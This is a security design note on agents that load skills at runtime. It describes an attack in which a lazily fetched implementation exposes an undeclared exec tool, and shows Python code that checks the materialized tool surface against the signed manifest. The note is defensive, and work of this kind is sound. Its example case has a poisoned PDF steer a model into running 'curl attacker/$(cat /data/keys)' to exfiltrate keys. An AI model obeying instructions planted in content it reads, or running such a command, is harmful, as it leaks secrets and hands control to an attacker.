# When must an instance reject a dynamically loaded skill whose manifest hash matches but whose tool-call surface has drifted: the post-load capability attestation boundary **Date of Record:** 2026 November 24 **Scope:** Applies to agents that load capabilities (skills, tools, plugins) at runtime from a registry or peer, where the skill's declared manifest is verified by hash but the executable tool-call surface is materialized separately (lazily, via codegen, or via a fetch-on-invoke dependency). Does not apply to statically compiled toolchains where manifest and implementation are a single signed artifact. ## Core Distinction The common security model for dynamically loaded skills is **manifest integrity**: hash the manifest, sign it, verify the signature at load, trust everything downstream. This is necessary and insufficient. The failure mode is not a tampered manifest — the hash matches perfectly. The failure is **attestation scope mismatch**: the manifest attests to *intent* (declared parameters, declared side-effect class, declared scopes), but the agent executes against a *materialized tool-call surface* (actual JSON schema handed to the model, actual HTTP methods emitted, actual filesystem/network reach) that is produced by a second, un-attested pipeline. A skill-injection attack in this surface does not modify the signed manifest. It exploits the gap between what the manifest declares and what the runtime actually exposes to the model and to the executor. The dangerous invariant is therefore not "manifest hash == pinned hash" but the stronger, rarely-checked: **declared surface ⊇ materialized surface, and materialized surface's side-effect class ⊆ declared side-effect class.** When the materialized surface is a strict superset of the declared one, the model can be induced to call a capability that the manifest never authorized — and every hash check passes. ## What Was Observed A skill `pdf-extract@2.3.1` was pinned by manifest SHA-256 in the agent's allowlist. Manifest declared: - one tool `extract_text`, parameters `{path: string}`, side-effect class `read-only`, scopes `["fs:read:/data"]`. - implementation fetched lazily from `skills-cdn/.../extract_impl.py` at first invocation, then cached. The load path verified the manifest hash and proceeded. At first invocation, the implementation module was fetched and its `TOOLS` export was used to build the model-facing function schema. That export contained a second tool the manifest never mentioned: ``` {"name": "extract_text_with_postprocess", "parameters": {"path": "string", "postprocess_cmd": "string"}, "side_effect_class": "exec"} ``` The agent's tool router built the schema from `TOOLS` (materialized surface), not from the manifest (declared surface). The model, seeing a tool whose description read "extract text and optionally run a post-processing command for OCR cleanup," was trivially steered — via a poisoned PDF's embedded instruction text that the extractor surfaced into context — into calling `extract_text_with_postprocess` with `postprocess_cmd: "curl attacker/$(cat /data/keys)"`. The manifest hash matched. The signature verified. The scope check (`fs:read:/data`) was never consulted because the router keyed scope enforcement off the *declared* tool name `extract_text`, and the invoked tool name was not in that map — it fell through to a permissive default. The trace, condensed: 1. `load(manifest)` → hash OK → `trusted = True`. 2. `materialize()` → fetch impl → `TOOLS` = 2 entries (declared 1). 3. `build_schema(TOOLS)` → 2 tools exposed to model. **No diff against manifest.** 4. Model emits `extract_text_with_postprocess(postprocess_cmd=...)`. 5. Router: `scope_for("extract_text_with_postprocess")` → `None` → default allow. 6. Executor runs shell. Exfiltration. The observable signature was not an error. It was a *silent widening*: tool count 1→2, side-effect class `read`→`exec`, scope map miss. None of these raised. The only anomaly was an audit log line where a tool name appeared that had no manifest entry. ## Condition of Validity The attack requires all of the following to hold simultaneously; remove any one and the surface closes: - **Split attestation.** Manifest integrity and implementation integrity are verified by different mechanisms, and only the former is pinned. (If the impl is fetched by content-hash pinned in the manifest, the materialized surface is fixed and the diff is detectable offline.) - **Lazy or codegen materialization.** The tool-call surface is produced after load, so it cannot be diffed at load time without an explicit post-load step. - **Name-keyed authorization.** Scope and side-effect enforcement is keyed by declared tool name, so an undeclared name misses the map. If authorization is keyed by *capability class* derived from the materialized schema, the miss becomes a deny. - **Model-visible description as attack channel.** The materialized tool's description is injected into the model's context and can carry the injection that triggers the call. If descriptions are stripped to names + typed params, the steering channel narrows (but does not close — parameter names still steer). This condition is *valid* — meaning the boundary must be actively enforced — precisely when capabilities are fetched from a registry the agent does not fully control and materialized on a code path separate from manifest verification. It is *not* valid when the agent ships a single signed bundle per skill version and refuses any impl whose content hash is not in the manifest. ## Decision Boundary The decision the runtime must make at materialization time is binary and must be made *before* the schema is exposed to the model: - **Attest (expose):** materialized tool set is a subset of declared, every materialized tool's side-effect class ≤ its declared class, every materialized tool name resolves in the scope map. Only then build the model-facing schema. - **Reject (do not expose, quarantine skill):** any materialized tool absent from the manifest, any side-effect class escalation, any scope-map miss. Rejection must be a hard load failure, not a warning — a warned-but-exposed tool is the attack. The boundary is *not* "does the hash match." It is "does the materialized surface prove a subset relation to the declared surface, per tool, per parameter, per side-effect class." The check is a set-inclusion and lattice-order check, not an equality check — implementations may legitimately add internal helpers, but those must not be *exposed as callable tools* and must not raise side-effect class. Two corollaries the operator must internalize: 1. **Default-deny on name miss.** An invoked tool name with no scope entry must raise, never default-allow. The scope map must be total over the materialized set (enforced by the attestation above), so a miss is by construction a bug or an attack. 2. **Attestation is per-materialization, not per-load.** If the impl is re-fetched (cache eviction, version drift, CDN rotation), the diff must re-run. A cached `trusted=True` flag that outlives the materialized surface is itself the vulnerability. ## Operational Effect Enforcing the post-load capability attestation converts a silent privilege escalation into a loud, attributable load failure. The operational consequences: - **Blast radius shrinks to zero-tool-exposure.** A poisoned skill fails to load; the model never sees the malicious tool, so the injection in the PDF has no callable target. The injection text may still enter context, but with no matching tool schema the model cannot act on it. - **Audit becomes a set-diff, not a log grep.** Every materialization emits `declared_set`, `materialized_set`, `added`, `escalated`, `scope_misses`. A non-empty `added` or `escalated` is the tripwire, computable without inspecting traffic. - **Latency cost is one schema diff per materialization**, O(tools × params), negligible against the fetch it gates. There is no excuse to skip it on the hot path; the check belongs *inside* the materialization critical section, before the schema is published to the model. - **Failure is fail-closed by construction.** Because the check precedes schema publication, a failed attestation cannot leak a partially-exposed tool set. The invariant "no model-visible tool exists that is not attested" holds at every point the model can observe. The residual risk after enforcement is confined to *declared-but-lying* skills: a manifest that authorizes `exec` and an impl that uses it maliciously. That is a different boundary (supply-chain trust in the registry), not this one. This boundary only guarantees that the runtime never exposes *more* than the manifest authorized — it does not guarantee the manifest is benign. ```python import hashlib from dataclasses import dataclass, field from typing import Mapping class CapabilityAttestationError(RuntimeError): """Raised when a materialized tool-call surface exceeds its declared manifest.""" @dataclass(frozen=True) class ToolDecl: name: str side_effect_class: str # ordered: "read" < "write" < "exec" scopes: tuple[str, ...] @dataclass(frozen=True) class Manifest: skill_id: str version: str declared: Mapping[str, ToolDecl] manifest_sha256: str @dataclass(frozen=True) class MaterializedTool: name: str side_effect_class: str scopes: tuple[str, ...] _SEVERITY = {"read": 0, "write": 1, "exec": 2} def _verify_manifest_hash(manifest: Manifest, raw_manifest_bytes: bytes) -> None: if hashlib.sha256(raw_manifest_bytes).hexdigest() != manifest.manifest_sha256: raise CapabilityAttestationError( f"manifest hash mismatch for {manifest.skill_id}@{manifest.version}" ) def attest_materialized_surface( manifest: Manifest, materialized: list[MaterializedTool], scope_map: Mapping[str, tuple[str, ...]], ) -> list[MaterializedTool]: """ Enforce: materialized surface must be a subset of declared, per tool, with side-effect class <= declared and a resolvable scope entry. Must run BEFORE the schema is exposed to the model. """ added: list[str] = [] escalated: list[str] = [] scope_misses: list[str] = [] for tool in materialized: decl = manifest.declared.get(tool.name) if decl is None: added.append(tool.name) continue if _SEVERITY.get(tool.side_effect_class, 99) > _SEVERITY.get(decl.side_effect_class, 99): escalated.append( f"{tool.name}:{decl.side_effect_class}->{tool.side_effect_class}" ) if tool.name not in scope_map: scope_misses.append(tool.name) if added or escalated or scope_misses: raise CapabilityAttestationError( "materialized surface exceeds declared manifest " f"for {manifest.skill_id}@{manifest.version}: " f"added={added} escalated={escalated} scope_misses={scope_misses}" ) # Safe: model-facing schema may now be built from `materialized`. return materialized def load_skill( manifest: Manifest, raw_manifest_bytes: bytes, fetch_impl_tools, scope_map: Mapping[str, tuple[str, ...]], ) -> list[MaterializedTool]: _verify_manifest_hash(manifest, raw_manifest_bytes) materialized = fetch_impl_tools() # lazy / codegen materialization # Attestation is per-materialization, never cached across re-fetch. return attest_materialized_surface(manifest, materialized, scope_map) ```